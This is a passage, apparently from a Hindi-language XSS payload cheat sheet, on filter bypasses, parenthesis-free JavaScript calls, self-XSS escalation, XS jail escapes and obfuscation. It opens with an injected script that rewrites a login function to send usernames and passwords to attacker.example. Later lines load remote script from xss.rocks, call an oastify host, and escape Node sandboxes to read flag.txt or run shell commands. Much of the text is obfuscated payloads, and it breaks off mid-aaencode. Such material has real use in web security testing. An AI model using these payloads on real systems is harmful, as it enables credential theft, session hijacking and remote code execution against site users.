s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
संदर्भ: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode एन्कोड JS निष्पादन
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists तकनीकें
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
विशेष एस्केप्स
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS code में स्पेस प्रतिस्थापन
<TAB>
/**/
JavaScript comments (से JavaScript Comments ट्रिक)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (से JavaScript new line ट्रिक)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript रिक्त स्थान
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
टिप्पणी के अंदर Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript कोष्ठकों के बिना
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
मनमाना फ़ंक्शन (alert) कॉल
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
ऐसा JS code मौजूद हो सकता है जो हमलावर द्वारा नियंत्रित असुरक्षित डेटा का उपयोग कर रहा हो, जैसे location.href। एक हमलावर इसका दुरुपयोग कर मनमाना JS code चला सकता है।
व्याख्या के विस्तार के कारण DOM vulnerabilities it was moved to this page:
वहाँ आपको DOM vulnerabilities क्या हैं, वे कैसे provoked होते हैं, और उन्हें कैसे exploit किया जाता है — इसका विस्तृत explanation मिलेगा।
साथ ही, यह मत भूलिए कि उल्लेखित पोस्ट के अंत में आप DOM Clobbering attacks के बारे में स्पष्टीकरण पा सकते हैं।
Upgrading Self-XSS
Cookie XSS
यदि आप payload को cookie के अंदर भेजकर XSS trigger कर सकते हैं, तो यह आमतौर पर self-XSS होता है। हालांकि, यदि आप किसी vulnerable subdomain में XSS पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे domain में एक cookie inject कर सकते हैं और मुख्य डोमेन या अन्य vulnerable subdomains में cookie XSS को trigger करवा सकते हैं (जो cookie XSS के लिए vulnerable हैं)। इसके लिए आप cookie tossing attack का उपयोग कर सकते हैं:
आप इस तकनीक के एक शानदार दुरुपयोग को this blog post में देख सकते हैं।
Sending your session to the admin
शायद कोई user अपना profile admin के साथ share कर सकता है और अगर self XSS उस user के profile में मौजूद है और admin उसे देखता है, तो admin उस vulnerability को trigger कर देगा।
Session Mirroring
यदि आप कोई self XSS पाते हैं और वेब पेज के पास administrators के लिए session mirroring है — उदाहरण के लिए क्लाइंट्स मदद मांगते हैं और admin आपकी session देख कर आपकी session की ही चीजें अपने session से देख पाता है — तो आप administrator को आपका self XSS trigger कराने के लिए मजबूर कर सकते हैं और उसके cookies/session चोरी कर सकते हैं।
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
जब कोई वेब ऐप Emscripten/WASM का उपयोग करती है, तो constant strings (जैसे HTML format stubs) writable linear memory में रहते हैं। एक single in‑WASM overflow (उदाहरण के लिए, unchecked memcpy किसी edit path में) आस-पास की संरचनाओं को corrupt कर सकता है और उन constants पर writes redirect कर सकता है। किसी template जैसे “” से overwrite करने पर sanitized input एक JavaScript handler value बन जाता है और render होने पर तुरंत DOM XSS उत्पन्न होता है।
इसके exploitation workflow, DevTools memory helpers, और defenses के लिए समर्पित पृष्ठ देखें:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
आप यह देख सकते हैं कि क्या reflected values server (या client side) पर unicode normalized किए जा रहे हैं और इस functionality का दुरुपयोग करके protections को bypass कर सकते हैं। Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
क्योंकि RoR mass assignment के कारण HTML में quotes डाले जाते हैं और फिर quote restriction बायपास हो जाती है और अतिरिक्त फ़ील्ड्स (onfocus) टैग के अंदर जोड़े जा सकते हैं.
Form example (from this report), अगर आप payload भेजते हैं:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
जोड़ी “Key”,“Value” इस तरह echo की जाएगी:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
फिर onfocus attribute जुड़ जाएगा और XSS हो जाएगा।
Special combinations
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 response में header injection के साथ XSS
यदि आप पाते हैं कि आप inject headers in a 302 Redirect response कर सकते हैं तो आप कोशिश कर सकते हैं कि make the browser execute arbitrary JavaScript. यह सरल नहीं है क्योंकि आधुनिक browsers HTTP response body को तब interpret नहीं करते जब HTTP response status code 302 हो, इसलिए केवल एक cross-site scripting payload बेकार है।
In this report and this one आप पढ़ सकते हैं कि आप Location header के अंदर कई protocols को कैसे टेस्ट कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई browser को body के अंदर XSS payload को inspect और execute करने देता है।
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
केवल अक्षर, अंक और डॉट
यदि आप उन कैरैक्टर्स तक सीमित उन शब्दों में वह callback इंगित कर सकते हैं जिसे javascript execute करने वाला है। Read this section of this post देखें कि इस व्यवहार का दुरुपयोग कैसे किया जा सकता है।
XSS के लिए वैध <script> Content-Types
(From here) अगर आप application/octet-stream जैसे किसी content-type के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं, तो Chrome निम्न त्रुटि देगा:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
केवल वही Content-Types जो Chrome को एक loaded script चलाने में सक्षम बनाएँगे, वे const kSupportedJavascriptTypes में सूचीबद्ध हैं: https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) तो, किन प्रकारों को निर्दिष्ट किया जा सकता है ताकि script लोड हो?
<script type="???"></script>
उत्तर:
- module (डिफ़ॉल्ट, समझाने की ज़रूरत नहीं)
- webbundle: Web Bundles एक फीचर है जो HTML, CSS, JS… जैसी कई चीज़ों को एक साथ पैकेज करके
.wbnफ़ाइल में रखने की अनुमति देता है।
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import syntax को बेहतर बनाने की अनुमति देता है
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
इस व्यवहार का उपयोग this writeup में एक लाइब्रेरी को eval में remap करने के लिए किया गया था ताकि उसका दुरुपयोग करके XSS ट्रिगर किया जा सके।
- speculationrules: यह फीचर मुख्य रूप से pre-rendering के कारण होने वाली कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
वेब Content-Types से XSS
(स्रोत: here) निम्न Content-Types सभी ब्राउज़रों में XSS निष्पादित कर सकते हैं:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है मैंने इसे एक CTF में देखा था)
- application/rss+xml (off)
- application/atom+xml (off)
अन्य ब्राउज़रों में अन्य Content-Types का उपयोग arbitrary JS निष्पादित करने के लिए किया जा सकता है, देखें: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
यदि पेज text/xml content-type लौटाता है तो namespace संकेत करके arbitrary JS निष्पादित करना संभव है:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
विशेष प्रतिस्थापन पैटर्न
When something like "some {{template}} data".replace("{{template}}", <user_input>) is used. The attacker could use special string replacements to try to bypass some protections: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to JSON string को escape करने inside a script and execute मनमाना code.
Chrome Cache to XSS
XS Jails Escape
यदि आपके पास उपयोग करने के लिए केवल सीमित वर्ण सेट हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों को देखें:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
यदि सब कुछ undefined है untrusted code को निष्पादित करने से पहले (जैसे this writeup) तो arbitrary untrusted code के निष्पादन का दुरुपयोग करने के लिए “कुछ नहीं से” उपयोगी objects बनाना संभव है:
- import() का उपयोग करके
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
requireको अप्रत्यक्ष रूप से एक्सेस करना
According to this modules को Node.js द्वारा एक फ़ंक्शन के भीतर रैप किया जाता है, इस तरह:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
इसलिए, यदि उस मॉड्यूल से हम किसी अन्य फ़ंक्शन को कॉल कर सकते हैं, तो उस फ़ंक्शन से arguments.callee.caller.arguments[1] का उपयोग करके require तक पहुँच संभव है:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
पिछले उदाहरण की तरह, use error handlers का उपयोग करके मॉड्यूल के wrapper तक पहुँच कर require फ़ंक्शन प्राप्त किया जा सकता है:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- एक पेज पर विभिन्न obfuscations: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- और अधिक परिष्कृत JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
